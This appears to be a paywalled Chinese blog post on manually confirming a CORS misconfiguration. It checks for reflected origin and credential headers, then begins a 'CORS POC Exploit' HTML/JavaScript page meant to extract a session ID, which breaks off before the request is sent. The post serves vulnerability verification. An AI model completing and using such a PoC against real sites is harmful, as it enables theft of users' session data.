给项目接口做安全扫描的时候,发现有个CORS漏洞:

但仅仅扫出来还不够,需要手工验证一下
手工验证方式
在正常的api请求处,headers加入"origin":"http://xx.xx.xx.xx", 如果接口正常返回了数据且headers里包含
access-control-allow-credentials : true
access-control-allow-origin : http://xx.xx.xx.xx
就说明这个接口确实存在CORS漏洞
poc代码
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
console.log(xhttp.responseText);
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};

本文介绍了在进行安全扫描时发现CORS漏洞后如何手工验证,通过在API请求中添加特定headers来检查漏洞存在性。同时,文章提供了一个POC代码示例,警示了若攻击者利用此漏洞可能引发的危害,如数据泄露或IP误导。并以百度的安全设置为例,提出修复方法,包括无弹出框和隐藏的POC代码,以增强前端接口的安全性。
最低0.47元/天 解锁文章
1052

被折叠的 条评论
为什么被折叠?



